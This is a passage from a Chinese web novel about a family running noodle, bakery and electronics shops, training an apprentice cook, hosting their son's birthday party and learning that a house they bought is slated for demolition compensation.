现在他们即将有四家店,还招了员工干活,这次招人还跟让宁时春、宁丹萍还有孙佳佳来干活不一样。 宁时春几个算是他们帮衬自家小辈,现在招的才是真正的员工。 “我们当老板了诶!”赵如月声音略带激动地小声说。 “不是早就当老板了?”宁绍明笑,但他明白赵如月的意思。 他其实也有点跟她一样的感觉,刚刚也悄悄掐自己大腿了,没让她发现。 宁时夏洗完澡从洗手间出来,她现在已经学会自己洗澡了。 她走到堂屋,看了看里面的情形,觉得不可思议,揉揉眼睛,又仔细看了看。 然后赶紧转身跑去哥哥房间:“哥哥,爸爸妈妈中邪了,你快去看看!” “中什么邪?不会吧?”宁时秋怀疑妹妹这是最近看港城僵尸片看多了的后遗症。 “真的,我刚刚看到他们在一起傻笑,如果不是中邪,会不会是傻了?”宁时夏这么一想,感觉天都要塌了。 宁时秋不太相信:“我去看看。” “你快去,要是他们真的傻了,我马上打电话叫救护车,”宁时夏顿了顿,又问,“哥哥,傻病能治好吗?” 第114章 丁珉得了宁绍明的准话,回家后立刻找侄子:“嫂子,小勇呢?” “在楼上,”他大嫂看小叔子笑得两排牙都露出来,觉得八成是好事,赶紧扯着嗓子往楼上喊,“小勇,你小叔找你,快下来!” “哦!”丁勇及拉着拖鞋从楼上下来,“叔,你找我?” “你不是说想学手艺吗?我跟你宁三叔说好了,他愿意收你,让你去他那里学,学好之后,就去他县城的店里干活,以后是自己出来单干,还是继续在他那里干,你自己决定。” 丁勇惊喜道:“真的?” “这种事还能有假?也不看看我跟他什么交情!以前是他没招人的想法,我才没去问,现在他开分店要招人,肯定愿意优先照顾熟人啊!不过你可得好好跟他学,以后踏踏实实地干活,可别再三天打鱼两天晒网了!” “我知道,以前那不是都学不到正经手艺么,那些师傅根本不乐意教,生怕别人学会了抢他们的活。” 丁珉也知道他说的是事实:“嗐,那些有手艺的人,从古到今都这样,想遇到一个好师傅不容易。” 说到这个,他大嫂就有话说了:“那可不,有一次你大哥还交钱让小勇去学,谁知道交了钱,也是被那师傅当仆人一样使唤,连小孩子上下学都让他去接,还让他辅导孩子作业,你说这算怎么回事,手艺没学到,净给人当奴才了! 这回遇上的应该是个好的了,我也经常去宁老三家吃东西,他们夫妻俩人品都不错。” 丁珉说:“别的我不敢保证,反正我这兄弟一点不忌讳别人在他这里学了自己去开店,毕竟现在的人都知道做生意赚钱,但是真正赚到钱的也是少数人,老话说师父领进门修行靠个人,开了店后到底能不能赚到钱,也是看个人的本事。” 丁勇有些迫不及待了:“那我什么时候去?” “他说看你什么时候有空,但最迟三天之后。” “那我明天就去。”丁勇也没少去宁绍明家吃东西,店里客人不多的时候,他偶尔也会站在厨房门口跟宁绍明和宁时春聊几句,看他们干活。 家里人都嫌弃他学习成绩不好,人不够聪明。 可丁勇知道宁时春的学习成绩比自己更差,他都能学会,没道理自己不行,而且那些活看起来也挺简单的。 为了让儿子坚持下去,丁珉的大哥大嫂也豁出去了,放出话来说:“你要是能坚持下去,以后去县城那家店上班,我们在县城给你买套房。” 这下丁勇更是像打了鸡血一样。 赵如月和宁绍明本来商量的面试时间是在三天后。 但是他们要招人这消息被传出去后,知道的人越来越多,来问这事的人也越来越多。 有些还跟他们沾亲带故,拒绝别人多了,保不齐就有什么闲话出来。 他们干脆就通知那天登记了名字的人,一天后就去县城面试,打算速战速决。 不过丁珉的侄子丁勇,第二天一大早就来了镇上的店帮忙。 宁绍明早上刚好有空,就顺便教他了,第一天也不教难的,就教他觉得最简单的煮米粉和炒米粉。 煮米粉说简单也简单,说难也难,看起来只要不是厨房杀手,煮的时候也别分心,就能把米粉煮到合格的水平。 但是如果不用心,很容易就会把米粉煮烂,火候和出锅的时间控制不好,也会让米粉看起来好像没被煮烂,但客人用筷子夹了要挑起来的时候,一挑就断,那样的米粉口感就不好了。 炒米粉比煮米粉更考验技术,一次两次能做到粘锅也不行,得保证绝大部分时候都不粘锅,还得炒得看起来油润,吃起来却不油腻。 丁勇没想到看起来简单的活,只是看起来简单,里面的门道也不少。 第一次煮米粉的时候,他认认真真地看表,盯着火候和时间,出来的成品还不错。 成功之后,就觉得这个活真是太简单了,自己一学就会,结果第二次懈怠了一点,米粉就糊底了。 第三次又认真起来,才没重蹈覆辙。 可是煮每一份都要看表的话,也太麻烦了,别人都不看表,而且放多少调料也不用像他一样小心翼翼地,人家全凭感觉。 这时候丁勇才觉得,看起来简单的东西,想做好也不容易,尤其是这东西是用来卖的,做得一般般都不行,必须得每一份都好好做,都做好才行,不然那么多店,凭什么选你家吃呢?人家客人可是花了钱的。 不过宁师傅教得很认真,很仔细,简直就是掰开了揉碎了地去教,语气也很平和,没有说过一句脏话。 不像他以前遇到的那些师傅,囫囵教过一遍就让他自己去做,做错一点就骂,步骤不按照他教的来,也会被骂。 但是那些步骤,其实并不严格规定必须要那样做。 就像一碗米粉里,客人要求葱花香菜都放,先把葱花放进去,还是先把香菜放进去,或者葱花香菜一起放炒勺里,再同时放锅里,根本没什么区别。 只要成品没问题就行,可最后他成品没问题也被骂,那些师傅骂人的话还特别脏。 可现在,他有一碗米粉里的猪杂煮得过了火候,那猪粉肠老得跟胶鞋底似的,咬都咬不动,也没被骂,只是被善意地调侃了几句。 丁勇的学习劲头在这种教学方式下,不但没减弱,反而更想学好了。 宁绍明做其他东西的时候也让他跟着看,时不时叫他搭把手。 丁勇看过才知道,凉皮只是看起来像是切得比较宽的米粉,实际上做法和原料,跟米粉根本不一样,步骤也更多,怪不得镇上别家餐饮店只能模仿配料,却做不出那样的口感。 还有做面包,那个更复杂,宁绍明告诉他:“一开始每一种食材原料的配比都要记,但这也不是绝对的,等你学会后,自己也可以试着去创新。” 这一天,丁勇光是看都看得眼花缭乱,但他激动的心情却反而沉淀下来。 一开始想的,学会手艺后马上出去开店的想法,也没有那么迫切了。 他也终于理解了,为什么宁时春现在学会的东西,明明也可以支撑起一家餐饮店了,还是不着急出去开店,因为要学的东西还多着呢! 丁勇在宁绍明这里学的前几天,丁珉和丁勇的父母也悄悄来看过几次,没让丁勇发现,不过宁绍明是知道的。 他们看到丁勇认真学习的那个劲头,总算是放心了,他爸妈更是高兴得跑带县城帮他看房子去。 不过后面他们就没怎么偷偷地来看过,每次来也是光明正大地来吃东西。 只是有时吃到丁勇做的,心里难免会小小地激动一下子。 宁绍明和赵如月第一次正经当老板,也不太知道怎么挑人,还是临时跑到市里去,上网查了半天,又学了半天,才感觉心里没那么飘忽了。 来面试的人不知道,他们在面试前紧张,自己在心里给自己加油打气,他们的老板也紧张,也在互相加油打气。 赵如月:“我们别慌,装也要装出一副胸有成竹的样子。” 宁绍明:“对,不慌不慌,不过你手别抖啊……” 宁时夏从门口经过,探头进去看了一眼。 不过这回她看到爸爸妈妈犯傻,已经不像第一次看到时那么紧张了。 反正爸爸妈妈这种病会自己好的。 事实证明,很多事情在去做之前,会紧张,其实只是自己吓自己,真正去做之后,就会发现,原来不过如此。 赵如月就有这种感觉,在面试完所有人,选出合适的员工之后,她回想起面试前自己紧张的样子,甚至不能跟几个小时之前的自己共情。 “其实我们家这就是个小店,招人的要求也高不到哪里去,根本没必要那样,对吧?” 宁绍明深有同感:“是这样没错,这次有经验,下次就不会这样了。” 不过这次经验对他们来说也挺难得,至少下次再遇到自己不擅长的领域和没做过的事,再自己跟自己说不用这么紧张的话时,这些话就会有点效果了。 员工招好了,首先就是培训,也不是多么专业的培训,主要是提前教一教不同岗位的人大概需要做什么,还有提前教教服务员该如何应对客人,还有一些有可能发生的特殊情况。 宁绍明这边的比较麻烦一点,赵如月这边就很简单了。 “你主要负责店里的卫生,还有卖东西,每卖出去一台都会有提成,这个我在面试的时候说过,现在就不多说了,这几天你尽快记住不同MP3和MP4的价格,然后面对客人态度好一点就行,对了,还有学会分辨真**,这个应该会吧?” 跟在她身后,长相看起来还十分稚嫩,眼神却带着坚毅的女孩子点头:“会的,我经常帮我奶奶看钱。” “那就好,我过几天也会买个小验钞灯来给你用。”算是上双重保险。 她招的这个女孩子叫苏胜楠,初中刚毕业,满十六岁了,不算童工。 来应聘的人里,也不是没有赵如月娘家亲戚的孩子,但她思来想去,还是招了苏胜楠。 苏胜楠家里就她一个孩子,本来以前家里条件还行,毕竟就养一个孩子,压力不大。 后来她爸生病没法干活,又要一直看病吃药,家里才变穷了。 她妈妈出去打工,每个月寄钱回来,奶奶在家照顾她爸和当时还在上学的她。 本来苏胜楠毕业后,也想跟妈妈一起出去打工,但是奶奶没文化胆子又小,她妈妈寄钱回来,她奶奶都不敢自己第一个人去邮政取钱,每次都是带她一起去,让她代签名。 所以苏胜楠也不能出去打工,就想着找个在家附近的工作,要是家里有事,还能回去照应一下。 赵如月在店里带了苏胜楠几天,等她适应之后,就到隔壁餐饮店去帮宁绍明了。 宁绍明负责的那两个店,面包店还好,他把面包做好上架之后,售货员只需要帮客人拿面包,收钱就行。 餐饮店那边的服务员还得帮客人点餐、收钱,等客人吃完后,还要收拾碗筷和桌子。 餐饮店的客人也是最多的,而且都是在吃饭的时间点,一波一波地来,人少的时候,闲到打瞌睡,人多的时候,忙到脚打后脑勺,店里都坐不下。 还得去买两沓塑料凳子,一沓高一些,一沓矮一些,高的充当桌子,矮的用来坐,就这么一长排摆在门口,远远看着还挺壮观。 而且厨师还没培养出来,宁绍明只能自己先顶上。 好在他们县城的餐饮店开业的时候,丁勇煮出来的米粉,质量已经比较稳定了,炒米粉还得练一练。 像凉拌粉那些也就是前期准备凉皮比较麻烦,拌的时候很简单,小孩子都会。 本来最初的打算是让丁勇在镇上再练一段时间,出餐稳定了再来,现在也顾不上了。 县城这边开业没两天,宁绍明实在顾不过来,就直接让他来县城帮忙。 这事比丁勇还要猝不及防的还有他父母,本来以为可以慢慢看房子,结果他突然就马上要去县城。 房子就算马上买也没办法马上住,只能先给他租个单间暂时住着。 好歹不用每天来回跑。 把丁勇调到县城后,宁绍明依然是最忙的人,早上他先提前把做面包和蛋糕的面团都准备好,然后就去餐饮店。 忙过餐饮店早餐那一波吃饭高峰期,然后就把餐饮店不忙的时间段直接交给丁勇,自己跑到隔壁面包店去做面包。 幸亏他招了两个面包学徒,他不在面包店的时候,这两个学徒还能帮着看看面团的发酵情况,还有烤制面包的时候,也可以帮忙看烤箱里烤制的面包成色,觉得哪里不对就跑来告诉他。 要是没有不对劲的地方,面包烤好了,他们就能自己拿出来送到前面去上架,不用再过去找他,也算是给宁绍明省了不少事。 丁勇在县城的餐饮店硬着头皮上阵,没想到在压力之下,做出来的东西,还比在镇上的时候好多了。 赵如月过去帮忙,也是前面和后厨两头跑,后厨忙的时候,她也帮着煮米粉或者拌凉拌粉这些。 半个月下来,几乎每个人都瘦了好几斤。 好在他们开店的活动就做半个月,后面没了活动,客人就稍微少了些,然后慢慢趋于稳定。 这个时候丁勇也历练出来了,宁绍明终于不用总是两头跑,只需要在餐饮店和面包店都不忙的时候,过去教丁勇一些之前没教过的东西,指点他学过的东西哪里还需要改进。 赵如月闲下来后,发现宁绍明瘦了许多,突然感觉有点后怕,催着他赶紧再找两个学徒:“以后可不能这样了,你看看你这衣服,还是我们去打工前,给你买的,现在穿着看起来都空荡荡的。” 他们去打工前,吃得可不如现在,宁绍明还在砖厂干力气活,竟然都没现在瘦。 宁绍明自己没什么感觉:“现在不是不忙了么,掉下去的肉慢慢会长回来的。” 赵如月板着脸:“那也不行,得找个时间,我们全家一起去市里全面体检一次。” 宁绍明看着她板着脸的样子,终于知道儿子板起脸来像谁了。 以往她脸上多数时候都带着笑,别人还说儿子更像爸爸,女儿更像妈妈,现在看来,儿子也挺像她。 “好,等年底不那么忙了,孩子也放假了,我们全家一起去。” 两个人正说着话,四个小孩叽叽喳喳地跑进来:“宁叔叔,赵阿姨,我们来啦!” 赵如月脸上瞬间再次扬起笑容,招待儿子和女儿的几个好朋友:“正好,我们也收拾好了,车子很快就到,你们肚子饿不饿,要不要先吃点东西垫垫肚子?” 今天是宁时秋的生日,他也邀请县城的几个朋友了,一起去自己家吃饭,因为赵如月说有车子可以接送,几个孩子的家长就同意了。 今天宁绍明和赵如月就没提前回去,等着他们放学,接上这几个孩子才一起回镇上。 几个孩子都摇头:“我们要留着肚子,吃小秋的生日蛋糕!” “宁叔叔,小夏说,你要给小秋做一个三层的大蛋糕,是真的吗?” 宁绍明点头:“是真的,已经做好了,等会儿带着蛋糕跟你们一起回镇上,不过放在隔壁面包店的冰柜里,还用盒子装起来了,现在没法看。” 说话间,郑秀开着车到了,车子停在门口,按了两下喇叭。 宁绍明起身去隔壁面包店,用小推车推车蛋糕出来,再放到后备箱,因为三层的蛋糕太大也太高了,没办法直接提。 几个孩子光是看到蛋糕盒子都忍不住惊呼起来,一路上的话题都是围绕着蛋糕。 连平时话最少的姚据,以前在市里他不是没见过三层的蛋糕,这次也没忍住跟其他人一起说了一路。 他还是第一次参加朋友的生日聚会,书包里带着礼物,一到宁时秋家,就立刻拿了出来送给他。 礼物拿出来之后,他的书包重量一下减少百分之九十九。 “锯子哥,你买的什么东西,怎么那么大一包?”宁时夏好奇地围着宁时秋的礼物看。 别人的礼物她多多少少都能猜出来,有些是音乐盒,有些是会下雪的水晶球,有些是本子或者钢笔,还有人送了一个特别大的棒棒糖。 但是姚据送的这个四四方方的东西,什么标志都没有,外面包的也不是礼物包装纸,而是用胶带缠得严严实实的。 姚据看到别人的礼物包装都那么好看,有些不好意思:“我怕书包装不下,就只能这样打包了。” 其实也是他忘记买礼物包装纸了,下午看到他表弟要送的礼物才想起来,不过也来不及去买了。 “没事,我不介意这个。”宁时秋摸了摸这几个礼物的边缘,猜测里面是书。 本来要等晚上吃蛋糕的时候才拆礼物,但宁时秋看妹妹那么好奇,问过姚据后就提前拆开了。 拆开后一看,果然猜的没错。 宁时夏一看原来是书,顿时没了兴趣,但不得不承认,姚据这礼物送得好:“都是我哥哥喜欢的东西。” “是国外的杂志吗?”宁时秋很高兴地摸了摸那些书的封面。 姚据点头:“对,我想你应该喜欢,就托人带了一些,这几本是最新的一期,我家里还有别的,书包带不了那么多,就没全带来,你看完这些可以再去我家拿。” “谢谢你!”宁时秋又摸了摸那几本杂志,还翻开看了看,有些专业词汇他还看不懂。 但是妈妈说过段时间,县城那边的电子专营店要添置一台电脑,用来帮人下载歌曲和视频,电脑上什么都能查得到,他应该也可以去那边用电脑查那些不懂的词汇和句子。 “你喜欢就好。”姚据笑了笑,看看宁时夏,“上次小夏生日我没能送礼物,下次我补上。” 宁时夏忙摆手:“不用啦,上次都没邀请你们,下次邀请你们只要送一份礼物就好。” 姚据没说话,依然决定下次宁时夏生日自己要送两份。 宁时夏拉着他往后面的厨房跑,宁绍明和宁时春正在厨房里忙碌。 看她跟只小老鼠一样钻进来,这次还带了另一只小老鼠,宁绍明习惯性地就给她拿了个小碗装点东西,让她先解解馋,顺便也给姚据拿了些。 姚据拿着小碗,有些不知所措。 宁时夏直接用筷子,戳了个牛肉丸,塞进他嘴里:“这是小孩子的特权,好吃吧?” 姚据下意识地嚼了嚼,牛肉丸不但弹牙还会爆汁,汁水差点从他嘴里滋出来,吓得他赶紧用嘴巴包住整个牛肉丸。 “好吃!”他吃完一颗,又从自己那个小碗里拿了一颗放嘴里,“真的好好吃!” “嘿嘿,我就说我爸爸做的饭菜特别好吃,没骗你吧!而且每次偷偷提前来厨房偷吃的饭菜更好吃!” “嗯!要是宁叔叔也开饭馆就好了,县城饭馆的饭菜不好吃。”其实也不是全都不好吃,只是多数不太合他胃口。 姚据这段时间都去宁家的餐饮店吃东西,但米粉、面条、面包这些吃多了,有时候也想吃饭菜。 可目前他还没在县城找到合自己胃口的饭馆,他家请的做饭阿姨,做的饭菜味道也一般。 “小夏,你能不能帮我问问宁叔叔,以后他会不会开餐馆?” “这个我不用问就能回答,肯定不会开。” “为什么呀?” “因为我妈妈说,我爸爸现在已经很辛苦了,前段时间新店开业,他瘦了好几圈,再开饭馆可能要累得瘦成人干。” 姚据想到自己的爸爸妈妈:“也对,太忙了也不好,你们家现在这样就挺好的,叔叔阿姨每天都有空回家,跟你和小秋一起吃饭,你们天天都能见面,不像我爸爸妈妈,一年才能见几次面。” “锯子哥你别难过,以后我让我爸爸从家里给你带饭,好不好?”宁时夏说完,有些好奇地问,“你爸爸妈妈也去鹏城打工了吗?以前我爸爸妈妈去鹏城打工,就不能经常回来,一年都见不到几次。” 她本来还想用以前大人跟她说的那些,爸爸妈妈是为了能让她和哥哥过上好日子,才出去打工之类的话安慰姚据。 却听到他说:“不是,我听别人说,他们各自都有新家了。” 第115章 宁时夏想不通为什么爸爸妈妈还能各自有别的家,但不等她继续问,姚据就把话题换到了别的地方。 “以前一直听你说,在镇上好玩的东西特别多,能不能趁现在还没吃饭,带我去玩?” 宁时夏一下子就被转移了注意力:“当然可以,让我想想,嗯……可以去镇上小溪里游泳……,不行不行,快吃饭了,去游泳只能游一会儿,不过瘾。 去池塘边抓小鱼?也不行,抓鱼容易沾上泥巴,吃饭前衣服弄脏太麻烦了,对了,我可以带你去我外婆家菜园摘果子!” 她外婆家的葡萄摘了早熟的那大部分之后,现在还零星有一些晚熟的还在慢慢长着,陆陆续续成熟。 不成批成熟的果子不好拿去卖,就留着自家吃,有时候去找找也能找到好几串,有多的就给亲戚分一分。 “菜园里种果树?”姚据以前在市里长大,他没玩过这些,所以对镇上这些好玩的事情都很感兴趣。 “是呀,我们镇上很多人的菜地里都种果树,有些人家院子里也有,不过我外婆家菜园里的果树不在菜园里,在菜园旁边的小山坡,那山坡上种了好多葡萄,刚放暑假的时候,我哥哥还去帮忙收葡萄了。” “你没去吗?”姚据问。 “那时候太热了,蚊子特别多,我怕被蚊子咬,就没跟着去,现在天气凉快了,我往身上擦点花露水,就不会被蚊子咬了。” 两个人说话的时候,已经各自把自己小碗里的东西吃完了。 把碗送到厨房里的时候,宁时夏跟宁绍明说了一声自己要带姚据去玩,又问他:“爸爸,我可以带你的小灵通去吗?等要吃饭了,你给我打电话,我马上就回来。” 宁绍明刚刚在厨房里也听到了两个孩子说的话,他对小小年纪就要经历那些的姚据,也感觉有些心疼。 就想着让小夏带他去玩,散散心也挺好。 宁绍明点头答应了,正要给宁时夏拿小灵通。 却听到姚据说:“小夏、宁叔叔,我也有小灵通,小夏你用我的就行。” 他从书包里拿出自己的小灵通交给宁时夏:“你把宁叔叔和赵阿姨的电话存进去就行。” “好,那我们有这个就可以了。”宁时夏把爸爸妈妈的电话都存进去,然后拨通爸爸的号码。 宁绍明也把这电话存好,就让他们自己玩去了。 宁时夏拉着姚据先去洗手间,给自己和他身上都擦上花露水,然后跑到外面,跟她哥说了一声,两个人就把宁时秋的自行车骑走了。 先骑到宁时夏的外婆家,车子放在外婆家门口,她外婆家中午和下午学生放学的时候,是人最多的时候。 电视上播放着电影,一群人围在电视机前看,坐得密密麻麻,宁时夏费了好大劲,让人家稍微挪一挪位置,才挤过去,拉着姚据来到外婆家的厨房。 他舅正在厨房里做饭,看到宁时夏来,顺手就要拿个小碗给她装东西吃。 宁时夏急忙摆手:“舅舅,我不吃了,再吃我今晚就吃不下饭了,菜园里还有葡萄吗?我想带我朋友去摘葡萄。” “有,你舅妈昨天早上去菜园子给菜浇水的时候,回来还说看到好几串葡萄,这几天就要成熟了,你可以去看看,这小孩是谁家的?以前怎么没见过。” “是我和哥哥在县城认识的朋友,叫姚据,今天哥哥生日,他来给哥哥庆祝,锯子哥,这是我舅舅,你也跟着叫舅舅就行。” 姚据跟着说了一句:“舅舅好!” “你好你好,来这里玩不用客气,让小夏带着你好好玩,”赵鸿发习惯性地邀请,“一会儿要不在舅舅家吃饭吧?” 听到他说这话,宁时夏才想起来,今天家里要做很多好吃的,可以叫舅舅一家人去自己家吃饭,“舅舅,你别做饭了,今天还是去我家吃吧,我爸做了很多好吃的。” “你妈今早上也来说了,但是今天你舅妈的娘家人要来家里吃饭,我们也得招待客人。” “好吧,那我晚点给你送好吃的来,我们先走啦!” 赵鸿发拨了拨灶膛里的柴火,摆摆手:“去吧去吧,注意安全。” 宁时夏拉着姚据的手已经从后院的后门跑出去,声音从外面传进来:“知道啦!” 她外婆家的菜园离家不远,往外走几分钟就到了,不过想摘葡萄要穿过菜园,往山坡上爬。 “就是这里,现在葡萄不多了,要仔细找才能找到,我们分头行动?” 姚据有些兴奋地点头,他还是第一次这么玩,简直像是在一片地里找宝藏一样。 宁时夏给他划了个范围,告诉他:“这边到那边,还有那边,全都是我外婆家的地,外面就不能去了,那是别人家的。” 姚据记住后,两个人各自提着一个小竹篮,分开‘寻宝’。 等接到宁绍明的电话,让他们回去吃饭的时候,两个人汇合一看,竟然都摘到了不少。 “以前我来都摘不到这么多呢,今天真是幸运!” 姚据高兴地说:“可能因为今天是小秋的生日吧?” 两个人回去的时候,也是先到宁时夏的外婆家。 赵鸿发看到他们能摘到两小篮子葡萄也挺惊讶的,也说:“你俩运气真好。” 宁时夏把自己摘到的葡萄留给外婆一家吃,带着姚据摘的回去。 一路上叽叽喳喳地讨论,这些葡萄是直接吃还是拿来做点别的。 最后鉴于宁时夏家里人太多,不但有县城来的几个孩子,还有宁时秋在镇上玩得好的朋友,别看他平时小大人似的,好像有点严肃的样子,实际上人缘真不差,他班上很多同学都喜欢跟他玩。 这么多人,直接吃的话,一人分不到多少,最后宁时夏和姚据还是把这些葡萄交给了宁绍明。 宁绍明本来想用来做葡萄千层蛋糕,但是家里已经有了一个三层的大蛋糕,再做千层蛋糕貌似有点重复了。 赵如月看他纠结的样子就说:“要不做饮料吧?” “怎么做?”宁绍明没见过水果茶,他印象中的饮料除了碳酸饮料、果汁、牛奶饮品,就是珍珠奶茶之类的现做饮料,“做果汁吗?” 这么点葡萄,做果汁不是更不够? 赵如月就把葡萄多多的大概做法告诉他了,她说得其实也不全面,因为也没自己做过,只是喝过,所以就只能说个大概。 但对于宁绍明来说,能有个大概的做法,他就能自己琢磨出来。 吃过晚饭后,天还没黑,小孩子们默认天黑才是吃蛋糕的时候,所以又一窝蜂地跑出去玩。 这次宁时夏可算能带姚据去游泳了。 她兴奋地拉着姚据就要往小溪边跑,他们这个小镇之所以叫榕溪镇,就是因为从很久之前,榕树和小溪就特别多。 有一条小溪的水,是底下泉水涌上来形成的小溪,没有蚂蟥,地势又比镇上的田地都高。 所以田地里打过农药后,带着农药的水,也不会排到这条小溪里。 这条小溪就特别干净,夏天镇上很多人都喜欢来这里游泳。 姚据也是蠢蠢欲动想去玩水,但是他没带衣服:“我没带泳裤,镇上有卖泳裤的地方吗?” 宁时夏纳闷:“什么泳裤?你一个男孩子穿小裤衩子下水不就行了?” “啊?” “啊什么,”宁时夏往小溪边一指,“你看我哥他们,衣服一脱穿着裤衩就能下水,我可羡慕了,可惜我妈妈说女孩子不能这样。” 宁时夏郁闷得很,她不明白凭什么女孩子不可以,大人解释的时候也支支吾吾的。 “你没带换洗的小裤衩也没关系,”宁时夏继续说道,“你跟我哥长得差不多高,我让我哥借……不行,我妈妈说裤衩子只能自己穿,不能借给别人。” 姚据:“这可怎么办,要不我不下水了,在水边踩踩水玩一下就行。”他越说越觉得遗憾,来之前没想过镇上这么好玩,错过这次,也不知道下次什么时候能再来了。 毕竟小秋生日一年才有一回,距离小夏生日也还早。 宁时夏说:“这有什么难办的,你还是穿裤衩下去,上来后,挂空挡再把裤衩洗了晒起来不就得了,现在天这么热,裤衩要不了两个小时就能晒干。” “挂……”姚据想回过神来明白这是什么意思后,脸瞬间通红,“你你你,女孩子不能……” “女孩子不能什么?”宁时夏不高兴了。 男孩子都能穿着裤衩子到处跑,女孩子怎么就连说都不行了? 姚据看她生气了,忙道:“没什么没什么,你能说。” “那你脱不脱?” 宁时夏双手叉腰看着他。 “我脱、我脱……”姚据突然感觉她好像一个威逼良家妇男的恶霸啊…… 衣服真脱了之后,又被宁时夏一脚踹进了水里,姚据学过游泳,水性不错,很快从水里冒出头来,一把抹掉脸上的水。 宁时夏在岸上活动了几下手脚,大喊一声:“我来啦!” 像一颗炮弹一样跳进水里,溅起一片水花,姚据脸上刚抹掉水,又被她扑了一脸。 但他没有生气,反而感觉心情格外畅快,迅速地沉浸在跟朋友们游泳嬉戏的快乐里。 赵如月在家收拾好碗筷,手里拿着一根雪糕,慢悠悠地往小溪边走,消消食顺便过去看看孩子们游泳别出意外,宁绍明则在家里做她说的那种饮料。 家里偶尔会给孩子做珍珠奶茶喝,顺便也是给店里的客人送点福利,有没用完的珍珠和西米。 因为要做甜品和面包蛋糕,糖浆也是有的,不用糖浆还能用白糖、红糖或者糖粉,这些家里全都常备着。 赵如月看着时间差不多,催着孩子们回家的时候,宁绍明的饮料也做好了。 一群孩子回去后,等宁时秋许了愿望、吹了蛋糕,就喝上了又香又甜的水果茶,好喝的饮料配上好吃的蛋糕,吃得一个个眉开眼笑,第二天还念念不忘。 这次的三层大蛋糕,在镇上的孩子群里也引起了轰动,每个来看过的小孩,没有不想在自己生日那天拥有这么一个大蛋糕的。 但这已经不足以让宁绍明意外了,毕竟之前女儿过生日的蛋糕,也给他带来了不少生意。 让他意外的是,这次带来的生意里,有很大一部分竟然不是小孩子的生意,而是老人的。 倒不是老人们来买,而是小孩子们回去说之后,有个家长想着家里老人过整寿,老人好几个孩子,他们家不起眼,要是这次带个大蛋糕去,席面上有这么个大蛋糕,那多有面子? 于是从这家开始,镇上人给老人过生日也都兴起了买蛋糕的习惯。 宁绍明接这个订单的时候,还没觉得有什么,过后听人说,这家人因为送了大蛋糕,让老人在亲戚朋友面前特别有面子,分拆迁款的时候,老人还给他们家多分了一些。 宁绍明才想起拆迁的事,问赵如月:“之前买的那个房子,是不是快拆到了?” 他们店对面的那条街上的房子,已经在开始在谈拆迁补偿的事了。 赵如月忙起来也把这房子忘了,毕竟那房子买了之后就这么放着,她很少过去,还真没有自家还有一栋房子的真实感。 而且县城的三家店开起来后,家里又有进账,特别是赵如月的电子专营店,东西已经卖出去将近三分之二。 范小蓉帮她垫付的钱,赵如月在东西卖出去后,已经马上寄过去还给她了。 同时还结清了一半的进货款,剩下的货款,等下次进货的时候,再跟第二批货那百分之二十的定金一起给。 他们家现在再钱这方面,不但不紧张了,还又再次有了存款。 赵如月想了想说:“要拆迁的地方那么大一块,从我们家店面这边对面那条街开始拆迁,那栋房子在反方向的另一头,应该没那么快拆到买的那栋房子吧,我改天去看看。” 等赵如月抽出空来,去那边看的时候,天气已经转冷,家里两个孩子都快放寒假了。 宁绍明店里凉拌面、凉皮、凉拌粉之类的夏季限定美食已经暂时下架,不过店里的生意没怎么被影响。 因为天气冷了,吃热汤粉的人也更多了。 倒是不用做凉皮、凉面这些之后,餐饮店里的活少了一些。 宁绍明瘦下去的肉也长回来了,经历过刚开业那时的忙碌,现在的活别人看着很多,但对他来说简直不要太轻松。 他每天在餐饮店特别忙的时候去帮一会儿,然后就回面包店带学徒,空余时间还能琢磨琢磨新的面包蛋糕。 赵如月这次去那栋房子看的时候,对门小卖部老板娘看她的眼神,简直像是在看什么稀罕物。 “你可真是够幸运的。”小卖部老板娘这么说,其实她觉得赵如月可能是有什么内幕,但是打听过后又觉得不像。 她打听到买这栋房子的这家人,还买了四间平房,那四间平房就在拆迁区的边缘,拆一点点就也被划进拆迁区里了。 如果有内幕的话,有多余的钱,肯定就在拆迁区多买一栋房了,怎么会买那里的房子? 赵如月当然不会跟别人说自己真的提前知道了消息,听到她的话不解地问:“为什么这么说?我们家现在还没挣够翻修这房子的钱,之前找人问过,要翻修这房子的话,恐怕翻修的钱比买房子的钱还要多几倍。” 小卖部老板娘拍了一下大腿:“这还翻修什么!你没看到街口牌坊上面贴的通知?” 赵如月说:“我没从那边过来,从另一头过来的。” “你赶紧去看看,我们这边要拆迁了,幸好你买了这房子没有马上就找人来修,要不亏死了!” 赵如月露出惊喜的神色说道:“好好,谢谢你了,我这就去看看。” 来到街头牌坊的告示牌一看,果然贴着一个通知。 赵如月仔仔细细看完,把通知里的内容记下后,又去了一趟街道办了解情况。 得知现在只是贴出通告,拆迁补偿工作还没正式开始,就先留下了自己和宁绍明的小灵通号码,到时候要开会作动员还有商量赔偿方式这些事情时,街道办那边会打电话通知他们来。 回去后,赵如月找了个只有自己和宁绍明在的时候,把这事告诉了他。 宁绍明也觉得挺高兴,但现在也不知道拆迁能补偿多少,他们这个地方是个小县城,得到的补偿肯定不如大城市那么多。 两人高兴是高兴,却只把这当做一个外快,并没有高兴到欣喜若狂的程度,还是踏踏实实地做着自家的生意。 现在他们有四家店,每个月进账好几万,赚最多的就是赵如月的电子专营店和宁绍明全天开业后的面包店。 餐饮店虽然把甜品和面包分出来,不像以前一样一起卖了,但现在随着物价上涨,原本只买几毛钱一份的煮米粉和炒米粉,已经涨价到一块钱和一块五。 两家店的收入比较平稳,稍微有些增长但不多,不过县城这边客人多,也比较忙,挣的确实比镇上多一些。 倒是宁绍明以前在夜市街能卖得还挺贵的钵仔糕,因为现在已经不是只有一家卖的独门生意,好几个摊位都在卖,价格已经降了不少。 原本他不卖钵仔糕后,冒出了好多在夜市街和夜市街附近打游击的,也就是到处跑不缴摊位费的小摊子卖钵仔糕。 他们互相之间打价格战,以至于钵仔糕的价格一度降到三四毛一个。 但价格战打到最后,也只剩下三四个摊子在卖了,价格也稳定在五毛一个,能坚持下来的都是味道不错,而且用这个价卖还能有点赚头的人。 宁绍明自己懒得做的时候,偶尔还会去买几个吃,味道确实不错。 “下周两个孩子就要期末考试了,等他们考完,我们休息两天,去市里体检。” “真去啊?”宁绍明还以为她也把这事忘了,没想到竟然还记着,“我感觉我没什么问题。” “没问题也要去检查,两个孩子不但要检查身体,还要检查一下牙齿和眼睛。”以前赵如月从没想过这些,还是现在家里有钱了,她才想到的。 牙齿和眼睛保护好了,以后能给孩子省掉不少麻烦。 宁绍明看她坚持,就没再多说什么,休息两天就当带孩子们去玩了。 等宁时秋和宁时夏期末考结束,成绩出来后,两个人都拿了奖。 